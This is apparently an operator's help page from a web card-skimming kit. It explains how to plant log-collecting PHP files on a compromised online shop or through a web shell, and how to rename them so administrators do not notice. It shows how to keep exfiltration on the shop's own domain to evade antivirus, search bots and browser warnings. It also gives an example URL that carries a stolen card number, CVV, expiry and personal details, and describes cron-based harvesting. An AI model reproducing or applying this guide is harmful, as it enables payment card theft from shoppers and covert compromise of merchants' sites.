<h2>More about the "Collect data" section</h2>
<p align="justify">The sniffer can store data on other servers, as well as collect it both manually and automatically. This is done to protect the sniffer itself from abuse and also for the invisibility of its work (if the data is saved on the shop). Ideally, your shop should store the data on it. This is the best protection against antiviruses, search bots and red flags in the browser. Let's assume you have a shop <font color="blue">shop.com</font> and your sniffer sends data to the page:</p>

<p><i>https://shop.com/modules/validate/checkData.php</i></p>

<p align="justify">for search bots and browsers everything looks safe because the domain is the same and the data entered by the user does not go anywhere outside the site.</p>

<p align="justify">However, you can also set up a proxy server, or store all your cards on one shop. Everything is limited only by your imagination.</p>

<h3>How to set this up?</h3>
<p align="justify">To set up data saving and collection, you need to do the following:<br />
Go to the API folder that you will find in the archive and there you will see 2 files <strong>ap.php</strong> and <strong>logs.php</strong>. In the <strong>ap.php</strong> file at the very top there is:</p>

<p>
<?php

highlight_string('
$write=\'43781db5c40ecc39fd718685594f0956\';
$upload=\'76ee3de97a1b8b903319b7c013d8c877\';
');

?>
</p>

<p align="justify">These are your access keys to write and read logs. You can leave them as is or replace them with your own. Access to logs is protected and an outsider will not be able to view your logs without a key by simply following the link:</p>

<p><i>https://shop.com/modules/ap.php

<br />or<br />

https://shop.com/modules/logs.php</i>

<p>(a blank page will be displayed).</p></p>

<p align="justify">After you have changed the keys or left them as is - upload these 2 files to your second server or shell or in the same shop. The <strong>logs.php</strong> file requires 777 rights (write rights). (If you are upload it via shell, then the rights will automatically be 755, which also allows recording and does not need to be set manually).</p>

<p align="justify">Next, go to the admin panel in the "Collection data" section and add your link to the file <strong>ap.php</strong>. Let's assume you uploaded everything to the modules folder and didn't rename the <strong>ap.php</strong> file for inconspicuous for admin. Your link in this case will look something like this:

<p><i>https://shop.com/modules/ap.php?k=76ee3de97a1b8b903319b7c013d8c877</i></p> 

<p align="justify">Where <strong>?k=76ee3de97a1b8b903319b7c013d8c877</strong> this is your key to access the logs, if you changed it to your own, then here you need to specify your key, domain accordingly and the path also needs to be replaced with your own.</p>
</p>

<p align="justify">File <strong>ap.php</strong> it is advisable to change it to something less noticeable, for example connection.php or validator.php but then in the examples above instead of <strong>ap.php</strong> write name of your file.</p>

<h3>Manual installation of the sniffer</h3>

<p align="justify">
If you use an automatic generator, then in the field "API link" specify links of the following type:
</p>

<p><i>https://shop.com/modules/ap.php?k=43781db5c40ecc39fd718685594f0956</i></p>

<p align="justify">If you install your own sniffer, for example on php, then you should consider the example of this link:</p>

<p align="justify" style="word-wrap: break-word; overflow-wrap: anywhere;word-break: break-all;">
<?php

highlight_string('
https://shop.com/modules/ap.php?k=43781db5c40ecc39fd718685594f0956&n=3508866254234896&ow=Giovanna+Breitenberg&ex=2029%2F2&cv=265&fn=Giovanna&ln=Breitenberg&ad=675+Hegenberger+Rd+%23249&co=CA&st=California&ci=Oakland&po=13036&stt=Pago+Pago&ph=%28907%29+563-3382&lk=google.ru&em=email%40gmail.com
');

?>
</p>

<p align="justify">Replace the values with your own and pass data there using cURL.</p>

<p align="justify">That's all. Then you should periodically go to the admin panel, to the same "Collection data" tab, and opposite your link, click "check" and the data will be transferred from your server to sniffer panel and will appear in tab "Cards". For convenience, I made it possible to add several links if you will store data on the shop site and you can create your own links for each shop(by the way, it will be less noticeable because the data will not leave the shop server and antiviruses and search bots will not pay attention to this because nothing goes beyond the shop).</p>

<h3>Automatic collection</h3>

<p align="justify">In the root folder with sniffer you will see a file <strong>crontab.php</strong>. It is a good idea to rename it and set the cron scheduler with the frequency you need for this file, for example, once an hour. If you set up the cron scheduler correctly, then every hour the script will check all the links you added and add new cards if they exist.</p>